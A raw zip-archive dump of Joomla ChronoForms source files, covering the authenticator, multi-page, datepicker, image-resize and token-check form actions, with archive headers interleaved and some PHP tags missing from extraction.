$data_to_session_Params->toString(); $form->runAction($data_to_session_details); //Session to Data config $session_to_data_details = new stdClass(); $session_to_data_details->type = 'session_to_data'; $session_to_data_Params = new JParameter(''); if((bool)$params->get('session_key', 0) === true){ $session_to_data_Params->set('key', $session_key); } $session_to_data_details->params = $session_to_data_Params->toString(); $form->runAction($session_to_data_details); } function load($clear){ if($clear){ $action_params = array( 'show_navigation' => 0, 'session_key' => 0 ); } return array('action_params' => $action_params); } } ?>PK@y>\SAcomponents/com_chronoforms/form_actions/multi_page/multi_page.ctpnuW+A
      Multi Page
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'multi_page_config_{n}'); ?> tabStart('settings'); ?> input('action_multi_page_{n}_session_key_config', array('type' => 'select', 'label' => 'Unique Session Key', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Add a unique session key for every form instance, this is helpful if more than one form or more than one instance of the same form may be loaded together.

      *please note that if this parameter is enabled then you will have to include the session key in the form URL in case of a page navigation.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • This action should be added to the TOP of every event used in a different form page so that it can handle all the data transactions between the different pages.

      tabEnd(); ?>
      PK@y>\ =components/com_chronoforms/form_actions/multi_page/index.htmlnuW+A PK@y>\)<components/com_chronoforms/form_actions/multi_page/.htaccessnuW+A Order allow,deny Deny from all PK@y>\QZ^Gcomponents/com_chronoforms/form_actions/authenticator/authenticator.ctpnuW+A
      Authenticator
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'authenticator_config_{n}'); ?> tabStart('settings'); ?> RELEASE > 1.5){ $options = $action_params['groups_list']; }else{ $options = $action_params['groups_list']; //$options = array(18 => 'Registered users', 19 => 'Authors', 20 => 'Editors', 21 => 'Publishers', 23 => 'Managers', 24 => 'Administrators', 25 => 'Super Administrators'); } ?> input('action_authenticator_{n}_groups_config', array('type' => 'select', 'label' => 'Allowed groups', 'options' => $options, 'size' => 11, 'class' => 'medium_input', 'multiple' => 'multiple', 'rule' => "split", 'splitter' => ",", 'smalldesc' => 'Select the groups authorized.')); ?> input('action_authenticator_{n}_guests_config', array('type' => 'select', 'label' => 'Allow guests', 'options' => array(0 => 'No', 1 => 'Yes'), 'class' => 'medium_input', 'smalldesc' => "Guests are non logged in users, choose wheather you want to allow them access or not.")); ?> input('action_authenticator_{n}_inheritable_config', array('type' => 'select', 'label' => 'Inheritable Permissions', 'options' => array(0 => 'No', 1 => 'Yes'), 'class' => 'medium_input', 'smalldesc' => "Enable this if you want sub groups to inherit the access permissions of their parents.")); ?> input('action_authenticator_{n}_denied_groups_config', array('type' => 'select', 'label' => 'Denied groups', 'options' => $options, 'size' => 11, 'class' => 'medium_input', 'multiple' => 'multiple', 'rule' => "split", 'splitter' => ",", 'smalldesc' => 'Select the groups denied, this is useful only if you have the "Inheritable" option set to "Yes".')); ?> input('action_authenticator_{n}_content1_config', array('type' => 'textarea', 'label' => "Code", 'rows' => 20, 'cols' => 70, 'smalldesc' => 'any code can be placed here, any PHP code should include the PHP tags.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • Select which user groups should be allowed access.
      • Permissions are not inheritable by default, this means that if you need to allow both the "Public" group and the "Administrators" group then you need to select BOTH of them.
      • If the user's group is Allowed AND Denied then the authentication will fail leading to a denied.
      • Insert next form events in the "Allowed" event or insert "Show stopper" in the "Denied" event to halt the form.

      tabEnd(); ?>
      PK@y>\hŌ9 9 Gcomponents/com_chronoforms/form_actions/authenticator/authenticator.phpnuW+A 0, 'denied' => 0); var $group = array('id' => 'form_security', 'title' => 'Security'); var $details = array('title' => 'Authenticator', 'tooltip' => "Control users access to your form's different events, select which users groups should be allowed access and which ones should be denied."); //var $users_groups = array(); function run($form, $actiondata){ $params = new JParameter($actiondata->params); $user = JFactory::getUser(); //check guests $guest = $params->get('guests', 1); if($user->guest && $guest){ $this->events['allowed'] = 1; return true; } //check other groups $jversion = new JVersion(); if((bool)$params->get('inheritable', 0) === true){ //get users groups objects from the db $db_users_groups = $this->get_groups_list(); } if($jversion->RELEASE > 1.5){ if(trim($params->get('groups', '')) || trim($params->get('denied_groups', ''))){ if(trim($params->get('groups', ''))){ $_groups = explode(',', trim($params->get('groups', ''))); array_walk($_groups, 'trim'); }else{ $_groups = array(); } //if guest, then add the public group if((bool)$user->guest === true){ $user->groups[] = 1; } $user->groups = array_unique($user->groups); //check denied groups if there are any if(trim($params->get('denied_groups', ''))){ $d_groups = explode(',', trim($params->get('denied_groups', ''))); array_walk($d_groups, 'trim'); if(!empty($d_groups)){ $denied_groups = array(); foreach($d_groups as $d_group){ if((bool)$params->get('inheritable', 0) === true){ $group = $form->search_array($db_users_groups, array('key' => 'id', 'value' => $d_group)); if(!empty($group)){ $children = $this->get_child_path($group[0], $db_users_groups); $denied_groups = array_merge($denied_groups, $children); } }else{ $denied_groups[] = (int)$d_group; } } $denied_groups = array_unique($denied_groups); if($this->group_exists($user, $denied_groups) === true){ $this->events['denied'] = 1; return false; } } } $allowed_groups = array(); foreach($_groups as $_group){ if((bool)$params->get('inheritable', 0) === true){ $group = $form->search_array($db_users_groups, array('key' => 'id', 'value' => $_group)); if(!empty($group)){ $children = $this->get_child_path($group[0], $db_users_groups); $allowed_groups = array_merge($allowed_groups, $children); } }else{ $allowed_groups[] = (int)$_group; } } $allowed_groups = array_unique($allowed_groups); if($this->group_exists($user, $allowed_groups) === true){ $this->events['allowed'] = 1; return true; } } }else{ if(trim($params->get('groups', '')) || trim($params->get('denied_groups', ''))){ if(trim($params->get('groups', ''))){ $_groups = explode(',', trim($params->get('groups', ''))); array_walk($_groups, 'trim'); }else{ $_groups = array(); } //if guest, then add the public group if((bool)$user->guest === true){ $user->gid = 29; } //check denied groups if there are any if(trim($params->get('denied_groups', ''))){ $d_groups = explode(',', trim($params->get('denied_groups', ''))); array_walk($d_groups, 'trim'); if(!empty($d_groups)){ $denied_groups = array(); foreach($d_groups as $d_group){ if((bool)$params->get('inheritable', 0) === true){ $group = $form->search_array($db_users_groups, array('key' => 'id', 'value' => $d_group)); if(!empty($group)){ $children = $this->get_child_path($group[0], $db_users_groups); $denied_groups = array_merge($denied_groups, $children); } }else{ $denied_groups[] = (int)$d_group; } } $denied_groups = array_unique($denied_groups); if($this->group_exists($user, $denied_groups) === true){ $this->events['denied'] = 1; return false; } } } $allowed_groups = array(); foreach($_groups as $_group){ if((bool)$params->get('inheritable', 0) === true){ $group = $form->search_array($db_users_groups, array('key' => 'id', 'value' => $_group)); if(!empty($group)){ $children = $this->get_child_path($group[0], $db_users_groups); $allowed_groups = array_merge($allowed_groups, $children); } }else{ $allowed_groups[] = (int)$_group; } } $allowed_groups = array_unique($allowed_groups); if($this->group_exists($user, $allowed_groups) === true){ $this->events['allowed'] = 1; return true; } } } //user group not found, set denied = 1 $this->events['denied'] = 1; return null; } function load($clear){ if($clear){ $action_params = array( 'guests' => 1, 'content1' => '', 'groups' => '', 'denied_groups' => '', 'inheritable' => 0, 'groups_list' => $this->get_goptions_list($this->get_groups_list()) ); } return array('action_params' => $action_params); } function group_exists($user, $groups){ $jversion = new JVersion(); if($jversion->RELEASE > 1.5){ if(!empty($user->groups)){ foreach($user->groups as $kg => $group){ if(in_array((int)$group, $groups, true)){ //$this->events['allowed'] = 1; return true; } } } }else{ if(in_array((int)$user->gid, $groups, true)){ //$this->events['allowed'] = 1; return true; } } return false; } function get_groups_list(){ /*if(isset($this->users_groups) && !empty($this->users_groups)){ return $this->users_groups; }*/ static $users_groups; if(!isset($users_groups)){ $users_groups = array(); }else{ return $users_groups; } $jversion = new JVersion(); $database = JFactory::getDBO(); if($jversion->RELEASE > 1.5){ $query = "SELECT * FROM `#__usergroups` ORDER BY `lft`"; $database->setQuery($query); $users_groups = $groups = $database->loadAssocList(); }else{ $query = "SELECT * FROM `#__core_acl_aro_groups`"; $database->setQuery($query); $users_groups = $groups = $database->loadAssocList(); } return $groups; } function get_goptions_list($groups){ $jversion = new JVersion(); $options = array(); foreach($groups as $group){ //$options[$group->id] = $group->title; $child_path = $this->get_parent_path($group, $groups); $depth = count($child_path); array_shift($child_path); foreach($child_path as $k => $p){ $child_path[$k] = '|—'; } if($jversion->RELEASE > 1.5){ $options[$group['id']] = implode('', $child_path).$group['title']; }else{ $options[$group['id']] = implode('', $child_path).$group['name']; } } return $options; } function get_parent_path($m_group, $groups, &$return = array()){ if(empty($return)){ if($m_group['id'] == 1){ return array(1); }else{ $return[] = (int)$m_group['id']; } } foreach($groups as $group){ if((int)$group['id'] == (int)$m_group['parent_id']){ $return[] = (int)$group['id']; if((int)$group['id'] == 1){ break; }else{ $return = $this->get_parent_path($group, $groups, $return); } } } return $return; } function get_child_path($m_group, $groups, &$return = array()){ if(empty($return)){ $return[] = (int)$m_group['id']; } $children = array(); foreach($groups as $group){ if(((int)$group['parent_id'] == (int)$m_group['id']) && !in_array((int)$group['id'], $return)){ $return[] = (int)$group['id']; $children[] = $group; //$return = $this->get_child_path($group, $groups, $return); } } foreach($children as $child){ $return = $this->get_child_path($child, $groups, $return); } return $return; } } ?>PK@y>\)?components/com_chronoforms/form_actions/authenticator/.htaccessnuW+A Order allow,deny Deny from all PK@y>\@components/com_chronoforms/form_actions/authenticator/index.htmlnuW+APK@y>\)Gcomponents/com_chronoforms/form_actions/custom_datepicker_moo/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ Hcomponents/com_chronoforms/form_actions/custom_datepicker_moo/index.htmlnuW+A PK@y>\ KWcomponents/com_chronoforms/form_actions/custom_datepicker_moo/custom_datepicker_moo.phpnuW+A 'Custom Mootools Datepicker', 'tooltip' => 'Load a custom Mootools Datepicker class.'); var $group = array('id' => 'power_fields', 'title' => 'Power Fields'); function load($clear){ if($clear){ $action_params = array( 'field_class' => '', 'pickerClass' => 'datepicker_dashboard', 'format' => '%d-%m-%Y %H:%M:%S', 'allowEmpty' => 1, 'timePicker' => 1, 'pickOnly' => '', 'content1' => '', ); } return array('action_params' => $action_params); } function run($form, $actiondata){ } } ?>PK@y>\Yv`components/com_chronoforms/form_actions/custom_datepicker_moo/cfaction_custom_datepicker_moo.ctpnuW+Aload($form, $actiondata); ?>PK@y>\' f  Wcomponents/com_chronoforms/form_actions/custom_datepicker_moo/custom_datepicker_moo.ctpnuW+A
      Custom Mootools Datepicker
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'custom_datepicker_moo_config_{n}'); ?> tabStart('settings'); ?> input('action_custom_datepicker_moo_{n}_field_class_config', array('type' => 'text', 'label' => "Field Class", 'class' => 'medium_input', 'smalldesc' => "The class name assigned to the field(s) which will be used as date field.")); ?> input('action_custom_datepicker_moo_{n}_pickerClass_config', array('type' => 'select', 'label' => "Picker Style", 'options' => array('datepicker_dashboard' => 'DashBoard', 'datepicker_jqui' => 'JQUI', 'datepicker_vista' => 'Vista'), 'smalldesc' => "The class for the picker itself, will control how the calendar looks like.")); ?> input('action_custom_datepicker_moo_{n}_format_config', array('type' => 'text', 'label' => "Date format shown", 'class' => 'medium_input', 'smalldesc' => "The format shown inside the visible field for the user in the form.")); ?> input('action_custom_datepicker_moo_{n}_allowEmpty_config', array('type' => 'select', 'label' => 'Allow Empty ?', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Allow the field to be empty, will load the field with empty value.')); ?> input('action_custom_datepicker_moo_{n}_timePicker_config', array('type' => 'select', 'label' => 'Load Time picker ?', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Load the time picker after selecting a date ?')); ?> input('action_custom_datepicker_moo_{n}_pickOnly_config', array('type' => 'select', 'label' => 'Pick Only', 'options' => array(0 => 'Disabled', 'time' => 'Time', 'days' => 'Days', 'months' => 'Months', 'years' => 'Years'), 'smalldesc' => 'Should this date field pick some specific data only ?')); ?> input('action_custom_datepicker_moo_{n}_content1_config', array('type' => 'textarea', 'label' => "Extra options extension", 'rows' => 10, 'cols' => 50, 'smalldesc' => "Add extra picker options here, e.g:
      days: ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday'], startView: 'decades'")); ?> tabEnd(); ?> tabStart('help'); ?>

      • Add your fields class then start configuring your picker.
      • All picker options and config are available here:
        http://mootools.net/forge/p/mootools_datepicker

      tabEnd(); ?>
      PK@y>\RF. `components/com_chronoforms/form_actions/custom_datepicker_moo/cfaction_custom_datepicker_moo.phpnuW+Aparams); $document = JFactory::getDocument(); JHTML::_('behavior.mootools'); $mainframe = JFactory::getApplication(); $uri = JFactory::getURI(); //check picker types $jversion = new JVersion(); $script = ""; if(($jversion->RELEASE > 1.5) && $form->form_params->get('datepicker_type', 0) == 1){ $cf_url = $uri->root(); $cf_url .= 'components/com_chronoforms/js/datepicker_moo/'; // you can change the uncommented line here to change the style $datepicker_style = $params->get('pickerClass', 'datepicker_dashboard'); $document->addStyleSheet($cf_url.$datepicker_style.'/'.$datepicker_style.'.css'); $document->addScript($cf_url.'Locale.en-US.DatePicker.js'); $document->addScript($cf_url.'Picker.js'); $document->addScript($cf_url.'Picker.Attach.js'); $document->addScript($cf_url.'Picker.Date.js'); if((bool)$params->get('pickOnly', 0) === false){ $pickOnly = 'false'; }else{ $pickOnly = "'".$params->get('pickOnly', 0)."'"; } $con_str = "$$('.".$params->get('field_class', 'cf_datetime_picker')."'), {pickerClass: '".$params->get('pickerClass', 'datepicker_dashboard')."', format: '".$params->get('format', 'd-m-Y H:i:s')."', allowEmpty: ".$params->get('allowEmpty', 'true').", timePicker: ".$params->get('timePicker', 'true').", pickOnly: ".$pickOnly.""; $pickerClass = "Picker.Date"; ob_start(); eval('?>'.$actiondata->content1); $actiondata->content1 = ob_get_clean(); if(!empty($actiondata->content1)){ $con_str .= ", ".$actiondata->content1; $con_str .= "}"; }else{ $con_str .= "}"; } ob_start(); ?> window.addEvent('load', function() { new (); }); form_params->get('dynamic_files', 0) === false){ $document->addScriptDeclaration("//"); }else{ //load the action class $form->loadActionHelper('load_js'); $CfactionLoadJsHelper = new CfactionLoadJsHelper(); $JSactiondata = new stdClass(); $JSactiondata->content1 = $script; $JSParams = new JParameter(''); $JSParams->set('dynamic_file', $form->form_params->get('dynamic_files', 0)); $JSactiondata->params = $JSParams->toString(); $CfactionLoadJsHelper->load($form, $JSactiondata); } } } ?>PK@y>\++Ecomponents/com_chronoforms/form_actions/image_resize/image_resize.phpnuW+A 'form_utilities', 'title' => 'Utilities'); var $details = array('title' => 'Image Resize', 'tooltip' => 'Do some images resizing operations.'); function run($form, $actiondata){ $params = new JParameter($actiondata->params); $mainframe = JFactory::getApplication(); //set the images path $upload_path = $params->get('upload_path', ''); if(!empty($upload_path)){ $upload_path = str_replace(array("/", "\\"), DS, $upload_path); if(substr($upload_path, -1) == DS){ $upload_path = substr_replace($upload_path, '', -1); } $upload_path = str_replace("JOOMLA_PATH", JPATH_SITE, $upload_path).DS; $params->set('upload_path', $upload_path); }else{ $upload_path = JPATH_SITE.DS.'components'.DS.'com_chronoforms'.DS.'uploads'.DS.$form->form_details->name.DS; } $image_file_name = $params->get('photo', ''); if(strpos($image_file_name, ',') !== false){ $image_file_names = explode(',', $image_file_name); }else{ $image_file_names = array($image_file_name); } foreach($image_file_names as $image_file_name){ //stop if the field name is not set or if the file data doesn't exist //if((strlen($image_file_name) == 0) || !isset($form->data[$image_file_name]) || !isset($form->files[$image_file_name]['path'])){ if((strlen($image_file_name) == 0) || !isset($form->files[$image_file_name])){ continue; } if($form->files[$image_file_name] === array_values($form->files[$image_file_name])){ //array of files $reset = false; }else{ $form->files[$image_file_name] = array($form->files[$image_file_name]); $reset = true; } foreach($form->files[$image_file_name] as $k => $image){ // Common parameters $photo = $image['name'];//$form->data[$image_file_name]; $filein = $image['path']; $file_info = pathinfo($filein); $form->debug['Image_Resize'][$actiondata->order]['thumb_big'] = $form->files[$image_file_name][$k]['thumb_big'] = $this->processSize('big', $form, $actiondata, $photo, $filein, $upload_path, $file_info); // treatment of the medium image $form->debug['Image_Resize'][$actiondata->order]['thumb_med'] = $form->files[$image_file_name][$k]['thumb_med'] = $this->processSize('med', $form, $actiondata, $photo, $filein, $upload_path, $file_info); // treatment of the small image $form->debug['Image_Resize'][$actiondata->order]['thumb_small'] = $form->files[$image_file_name][$k]['thumb_small'] = $this->processSize('small', $form, $actiondata, $photo, $filein, $upload_path, $file_info); if($params->get('delete_original')){ unlink($filein); } } if($reset){ $form->files[$image_file_name] = $form->files[$image_file_name][0]; } } } function processSize($size = 'big', $form, $actiondata, $photo, $filein, $upload_path, $file_info){ $params = new JParameter($actiondata->params); $quality = $params->get('quality', 90); $dir = ''; if($params->get($size.'_directory', '')){ $dir .= $params->get($size.'_directory', ''); } else { $dir .= $upload_path; } // add a final slash if needed if(substr($dir, -1) != DS){ $dir .= DS; } $fileout = $dir.$params->get($size.'_image_prefix', '').str_replace('.'.$file_info['extension'], '', $photo).$params->get($size.'_image_suffix', '').'.'.$file_info['extension']; $crop = $params->get($size.'_image_method', 0); $imagethumbsize_w = $params->get($size.'_image_width', 400); $imagethumbsize_h = $params->get($size.'_image_height', 300); $red = $params->get($size.'_image_r', 255); $green = $params->get($size.'_image_g', 255); $blue = $params->get($size.'_image_b', 255); $use = $params->get($size.'_image_use', 0); if($size == 'big'){ $use = true; } if($use){ if($crop){ $this->resizeThenCrop($filein, $fileout, $imagethumbsize_w, $imagethumbsize_h, $red, $green, $blue, $quality); }else{ $this->resize($filein, $fileout, $imagethumbsize_w, $imagethumbsize_h, $red, $green, $blue, $quality); } return $params->get($size.'_image_prefix', '').str_replace('.'.$file_info['extension'], '', $photo).$params->get($size.'_image_suffix', '').'.'.$file_info['extension']; } return null; } function resizeThenCrop( $filein, $fileout, $imagethumbsize_w, $imagethumbsize_h, $red, $green, $blue, $quality ) { // Cacul des nouvelles dimensions list($width, $height) = getimagesize($filein); //$new_width = $width * $percent; //$new_height = $height * $percent; if ( preg_match("/.jpg/i", "$filein") || preg_match("/.jpeg/i", "$filein") ) { $format = 'image/jpeg'; } elseif ( preg_match("/.gif/i", "$filein") ) { $format = 'image/gif'; } else if( preg_match("/.png/i", "$filein") ) { $format = 'image/png'; } switch($format) { case 'image/jpeg': $image = imagecreatefromjpeg($filein); break; case 'image/gif'; $image = imagecreatefromgif($filein); break; case 'image/png': $image = imagecreatefrompng($filein); break; } $width = $imagethumbsize_w ; $height = $imagethumbsize_h ; list($width_orig, $height_orig) = getimagesize($filein); if ( $width_orig < $height_orig ) { $height = ($imagethumbsize_w / $width_orig) * $height_orig; } else { $width = ($imagethumbsize_h / $height_orig) * $width_orig; } if ( $width < $imagethumbsize_w ) { // If the image width is less than the thumbnail $width = $imagethumbsize_w; $height = ($imagethumbsize_w / $width_orig) * $height_orig; } if ( $height < $imagethumbsize_h ) { // If the image height is less than the thumbnail $height = $imagethumbsize_h; $width = ($imagethumbsize_h / $height_orig) * $width_orig; } $thumb = imagecreatetruecolor($width , $height); $bgcolor = imagecolorallocate($thumb, $red, $green, $blue); ImageFilledRectangle($thumb, 0, 0, $width, $height, $bgcolor); imagealphablending($thumb, true); imagecopyresampled($thumb, $image, 0, 0, 0, 0, $width, $height, $width_orig, $height_orig); $thumb2 = imagecreatetruecolor($imagethumbsize_w , $imagethumbsize_h); // true color for better quality $bgcolor = imagecolorallocate($thumb2, $red, $green, $blue); ImageFilledRectangle($thumb2, 0, 0, $imagethumbsize_w, $imagethumbsize_h, $bgcolor); imagealphablending($thumb2, true); $w1 = ($width / 2) - ($imagethumbsize_w / 2); $h1 = ($height / 2) - ($imagethumbsize_h / 2); imagecopyresampled($thumb2, $thumb, 0, 0, $w1, $h1,$imagethumbsize_w, $imagethumbsize_h, $imagethumbsize_w, $imagethumbsize_h); // create the file switch($format) { case 'image/jpeg': imagejpeg($thumb2, $fileout, $quality); break; case 'image/gif'; imagegif($thumb2, $fileout); break; case 'image/png': imagepng($thumb2, $fileout); break; } } function resize( $filein, $fileout, $imagethumbsize_w, $imagethumbsize_h, $red, $green, $blue, $quality ) { // Cacul des nouvelles dimensions list($width_orig, $height_orig) = getimagesize($filein); if ( preg_match("/.jpg/i", "$filein") || preg_match("/.jpeg/i", "$filein") ) { $format = 'image/jpeg'; } if ( preg_match("/.gif/i", "$filein") ) { $format = 'image/gif'; } if ( preg_match("/.png/i", "$filein") ) { $format = 'image/png'; } switch ( $format ) { case 'image/jpeg': $image = imagecreatefromjpeg($filein); break; case 'image/gif'; $image = imagecreatefromgif($filein); break; case 'image/png': $image = imagecreatefrompng($filein); break; } $ratio_orig = $width_orig/$height_orig; if ($imagethumbsize_w/$imagethumbsize_h > $ratio_orig) { $imagethumbsize_w = $imagethumbsize_h*$ratio_orig; } else { $imagethumbsize_h = $imagethumbsize_w/$ratio_orig; } // Redimensionnement $thumb3 = imagecreatetruecolor($imagethumbsize_w, $imagethumbsize_h); $bgcolor = imagecolorallocate($thumb3, $red, $green, $blue); ImageFilledRectangle($thumb3, 0 ,0 ,$imagethumbsize_w, $imagethumbsize_h, $bgcolor); imagealphablending($thumb3, true); imagecopyresampled($thumb3, $image, 0, 0, 0, 0, $imagethumbsize_w, $imagethumbsize_h, $width_orig, $height_orig); switch ( $format ) { case 'image/jpeg': imagejpeg($thumb3, $fileout, $quality); // on cree le fichier break; case 'image/gif'; imagegif($thumb3, $fileout); // on cree le fichier break; case 'image/png': imagepng($thumb3, $fileout); // on cree le fichier break; } } function load($clear){ if($clear){ $action_params = array( 'photo' => '', 'delete_original' => 0, 'quality' => 90, 'big_directory' => '', 'big_image_use' => '1', 'big_image_prefix' => '', 'big_image_suffix' => '_big', 'big_image_height' => '300', 'big_image_width' => '400', 'big_image_r' => '255', 'big_image_g' => '255', 'big_image_b' => '255', 'big_image_method' => '0', 'med_directory' => '', 'med_image_use' => '0', 'med_image_prefix' => '', 'med_image_suffix' => '_med', 'med_image_height' => '300', 'med_image_width' => '400', 'med_image_r' => '255', 'med_image_g' => '255', 'med_image_b' => '255', 'med_image_method' => '0', 'small_image_use' => '0', 'small_directory' => '', 'small_image_prefix' => '', 'small_image_suffix' => '_small', 'small_image_height' => '300', 'small_image_width' => '400', 'small_image_r' => '255', 'small_image_g' => '255', 'small_image_b' => '255', 'small_image_method' => '0' ); } return array('action_params' => $action_params); } } ?>PK@y>\)>components/com_chronoforms/form_actions/image_resize/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ ?components/com_chronoforms/form_actions/image_resize/index.htmlnuW+A PK@y>\AfJ ; ;Ecomponents/com_chronoforms/form_actions/image_resize/image_resize.ctpnuW+A
      Image Resize
      Header(array('settings' => 'General', 'medium_image' => 'Medium Image', 'small_image' => 'Small Image'), 'image_resize_config_{n}'); ?> tabStart('settings'); ?> input('action_image_resize_{n}_delete_original_config', array('type' => 'select', 'label' => 'Delete Original', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Delete the original image from the upload directory')); ?> input('action_image_resize_{n}_photo_config', array('type' => 'text', 'label' => 'Image field name', 'class' => 'medium_input', 'value' => '')); ?> input('action_image_resize_{n}_quality_config', array('type' => 'text', 'label' => 'Output image(s) quality', 'class' => 'medium_input', 'smalldesc' => 'set the quality of ouput jpg images')); ?> input('action_image_resize_{n}_big_directory_config', array('type' => 'text', 'label' => 'Big image directory', 'class' => 'medium_input', 'smalldesc' => 'Directory where the file will be stored. Don\'t forget the slash at the end ;-) e.g. images/stories/
      If you leave this empty it will default to the Form file uploads folder.')); ?> input('action_image_resize_{n}_big_image_prefix_config', array('type' => 'text', 'label' => 'Big image name prefix', 'class' => 'medium_input', 'smalldesc' => 'The prefix for the created image name e.g. big_')); ?> input('action_image_resize_{n}_big_image_suffix_config', array('type' => 'text', 'label' => 'Big image name suffix', 'class' => 'medium_input', 'smalldesc' => 'The suffix for the created image name e.g. _big')); ?> input('action_image_resize_{n}_big_image_height_config', array('type' => 'text', 'label' => 'Big image height', 'class' => 'medium_input', 'value' => '')); ?> input('action_image_resize_{n}_big_image_width_config', array('type' => 'text', 'label' => 'Big image width', 'class' => 'medium_input', 'value' => '')); ?> input('action_image_resize_{n}_big_image_r_config', array('type' => 'text', 'label' => 'Big image R color', 'class' => 'medium_input', 'smalldesc' => 'Alpha channel for png transparency. RGB color of the background.')); ?> input('action_image_resize_{n}_big_image_g_config', array('type' => 'text', 'label' => 'Big image G color', 'class' => 'medium_input', 'smalldesc' => 'Alpha channel for png transparency. RGB color of the background.')); ?> input('action_image_resize_{n}_big_image_b_config', array('type' => 'text', 'label' => 'Big image B color', 'class' => 'medium_input', 'smalldesc' => 'Alpha channel for png transparency. RGB color of the background.')); ?> input('action_image_resize_{n}_big_image_method_config', array('type' => 'select', 'label' => 'Big image processing method', 'options' => array(0 => 'Resize', 1 => 'Resize & Crop'), 'smalldesc' => 'The way your images will be generated (either scale or crop)')); ?> tabEnd(); ?> tabStart('medium_image'); ?> input('action_image_resize_{n}_med_image_use_config', array('type' => 'select', 'label' => 'Enable Medium image', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Should we generate a medium sized image ?')); ?> input('action_image_resize_{n}_med_directory_config', array('type' => 'text', 'label' => 'Medium image directory', 'class' => 'medium_input', 'smalldesc' => 'Directory where the file will be stored. Don\'t forget the slash at the end ;-) e.g. images/stories/
      If you leave this empty it will default to the Form file uploads folder.')); ?> input('action_image_resize_{n}_med_image_prefix_config', array('type' => 'text', 'label' => 'Medium image name prefix', 'class' => 'medium_input', 'smalldesc' => 'The prefix for the created image name e.g. med_')); ?> input('action_image_resize_{n}_med_image_suffix_config', array('type' => 'text', 'label' => 'Medium image name suffix', 'class' => 'medium_input', 'smalldesc' => 'The suffix for the created image name e.g. _med')); ?> input('action_image_resize_{n}_med_image_height_config', array('type' => 'text', 'label' => 'Medium image height', 'class' => 'medium_input', 'value' => '')); ?> input('action_image_resize_{n}_med_image_width_config', array('type' => 'text', 'label' => 'Medium image width', 'class' => 'medium_input', 'value' => '')); ?> input('action_image_resize_{n}_med_image_r_config', array('type' => 'text', 'label' => 'Medium image R color', 'class' => 'medium_input', 'smalldesc' => 'Alpha channel for png transparency. RGB color of the background.')); ?> input('action_image_resize_{n}_med_image_g_config', array('type' => 'text', 'label' => 'Medium image G color', 'class' => 'medium_input', 'smalldesc' => 'Alpha channel for png transparency. RGB color of the background.')); ?> input('action_image_resize_{n}_med_image_b_config', array('type' => 'text', 'label' => 'Medium image B color', 'class' => 'medium_input', 'smalldesc' => 'Alpha channel for png transparency. RGB color of the background.')); ?> input('action_image_resize_{n}_med_image_method_config', array('type' => 'select', 'label' => 'Medium image processing method', 'options' => array(0 => 'Resize', 1 => 'Resize & Crop'), 'smalldesc' => 'The way your images will be generated (either scale or crop)')); ?> tabEnd(); ?> tabStart('small_image'); ?> input('action_image_resize_{n}_small_image_use_config', array('type' => 'select', 'label' => 'Enable Small image', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Should we generate a small sized image ?')); ?> input('action_image_resize_{n}_small_directory_config', array('type' => 'text', 'label' => 'Small image directory', 'class' => 'medium_input', 'smalldesc' => 'Directory where the file will be stored. Don\'t forget the slash at the end ;-) e.g. images/stories/
      If you leave this empty it will default to the Form file uploads folder.')); ?> input('action_image_resize_{n}_small_image_prefix_config', array('type' => 'text', 'label' => 'Small image name prefix', 'class' => 'medium_input', 'smalldesc' => 'The prefix for the created image name e.g. small_')); ?> input('action_image_resize_{n}_small_image_suffix_config', array('type' => 'text', 'label' => 'Small image name suffix', 'class' => 'medium_input', 'smalldesc' => 'The suffix for the created image name e.g. _small')); ?> input('action_image_resize_{n}_small_image_height_config', array('type' => 'text', 'label' => 'Small image height', 'class' => 'medium_input', 'value' => '')); ?> input('action_image_resize_{n}_small_image_width_config', array('type' => 'text', 'label' => 'Small image width', 'class' => 'medium_input', 'value' => '')); ?> input('action_image_resize_{n}_small_image_r_config', array('type' => 'text', 'label' => 'Small image R color', 'class' => 'medium_input', 'smalldesc' => 'Alpha channel for png transparency. RGB color of the background.')); ?> input('action_image_resize_{n}_small_image_g_config', array('type' => 'text', 'label' => 'Small image G color', 'class' => 'medium_input', 'smalldesc' => 'Alpha channel for png transparency. RGB color of the background.')); ?> input('action_image_resize_{n}_small_image_b_config', array('type' => 'text', 'label' => 'Small image B color', 'class' => 'medium_input', 'smalldesc' => 'Alpha channel for png transparency. RGB color of the background.')); ?> input('action_image_resize_{n}_small_image_method_config', array('type' => 'select', 'label' => 'Small image processing method', 'options' => array(0 => 'Resize', 1 => 'Resize & Crop'), 'smalldesc' => 'The way your images will be generated (either scale or crop)')); ?> tabEnd(); ?>
      PK@y>\ 2components/com_chronoforms/form_actions/index.htmlnuW+A PK@y>\ >components/com_chronoforms/form_actions/check_token/index.htmlnuW+A PK@y>\_FCcomponents/com_chronoforms/form_actions/check_token/check_token.ctpnuW+A
      Check Token
      PK@y>\)=components/com_chronoforms/form_actions/check_token/.htaccessnuW+A Order allow,deny Deny from all PK@y>\5Ccomponents/com_chronoforms/form_actions/check_token/check_token.phpnuW+A 'form_security', 'title' => 'Security'); var $events = array('success' => 0, 'fail' => 0); var $details = array('title' => 'Check Token', 'tooltip' => "Checks the form's security token, simple but a bit effecient security check against low level automated SPAM bots."); function run($form, $actiondata){ $params = new JParameter($actiondata->params); if((!JRequest::checkToken())){ $this->events['fail'] = 1; }else{ $this->events['success'] = 1; } } function load($clear){ if($clear){ $action_params = array( ); } return array('action_params' => $action_params); } } ?>PK@y>\)Acomponents/com_chronoforms/form_actions/session_to_data/.htaccessnuW+A Order allow,deny Deny from all PK@y>\`?Kcomponents/com_chronoforms/form_actions/session_to_data/session_to_data.ctpnuW+A
      Session To Data
